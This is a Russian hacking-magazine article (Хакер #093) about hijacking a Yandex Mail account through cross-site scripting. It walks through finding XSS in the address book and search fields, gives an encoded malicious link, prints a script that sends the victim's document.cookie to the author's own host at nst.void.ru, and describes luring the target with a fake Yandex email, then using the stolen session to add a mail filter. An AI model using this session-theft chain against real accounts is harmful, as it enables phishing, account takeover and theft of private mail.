Как угнать почтовый ящик Digimortal, NST (nst.void.ru) Хакер, номер #093, стр. 093-064-5 Поля “От кого” и “Тема” отфильтрованы начисто, поле “Поиск в папке” на мою конструкцию ругается “синтаксическая ошибка”, после чего я вижу свою внедряемою строку в неизменном виде. Все ясно - тут фильтр. Переходим к секции “Адресная книга” как оказалась тут просто кладезь XSS и все они активные. После нескольких проверок, выяснилось, что фильтрами тут и не пахло, так как можно свободно внедрить конструкцию подобную <script>alert(‘NST’)</script> Только вот активность этих XSS обусловлена пользователем. Т.е. это все хорошо, когда мы находимся у себя в ящике и сами внедряем нужные значения, активизируя XSS. Но что бы это провернуть в ящике недруга мне необходимо, чтобы недруг отправил POST запрос на скрипт colabook_addp с необходимыми значениями и сам активизировал XSS. И тут меня осенило: я перешел в секцию Поиск и стал проверять тамошние поля. Здесь у нас всего два поля из которых одно было проверено в секции “Письма” оптимистично. Ну что ж подставляю в поле “Поиск по адресам” <script>alert('Someone XSS here ???')</script>. Вуаля! Код выполняется. Итак, все ингредиенты у нас теперь есть. Меня посетила мысль, а что если с помощью XSS утащить сессию у недруга, передать ее скрипту, а уже он отправит POST запрос на добавления фильтра. Проблем с Referer тут не будет, так как скриптом мы можем формировать заголовки, какие только пожелает сервер. Пользователю необходимо скинуть письмо якобы от какой-нибудь службы Яндекса, в котором вставить ссылку, закодировав все, что будет привлекать внимание в сложночитаемый URL. Яндекс умная система, она сама отформатирует ссылку HTML-ом и пользователь ее будет видеть как обычную ссылку на сайтах. Сказано – реализовано, в итоге у меня получился вот такой XSS <script src=http://nst.void.ru/s/s.js></script> После преобразования его в кодированный URL (я использовал nST Calc) nstCalc.pl –urle “<script src=http://nst.void.ru/s/s.js></script>” и добавления полученного в параметр, где я нашел XSS, ссылка приняла такой вид http://mail.yandex.ru/search?help=error&address%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%73%74%2E%76%6F%69%64%2E%72%75%2F%73%2F%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E&do=1 Скрипт s.js выглядел следующим образом: i = new Image; i.src='http://nst.void.ru/s/s.php?'+document.cookie; window.location='http://mail.yandex.ru/yamail'; Переменная help и ее значение error здесь используется для правдоподобности ссылки. Пусть недруг думает, что это ссылка на некую помощь. Можно было и не делать промежуточный скрипт s.js, а напрямую внедрить window.location=http:// Но в таком случае ссылка была бы значительно больше и привлекала бы лишнее внимание. Затем я написал сценарий на PHP, назвав его s.gif который будет вытаскивать сессию из QUERY_STRING (именно там окажется кука, а, следовательно, и сессия в ней, после выполнения в браузере недруга скрипта s.js) а затем скрипт сделает необходимый POST запрос который добавит фильтр недругу (его код ты можешь найти на нашем диске). |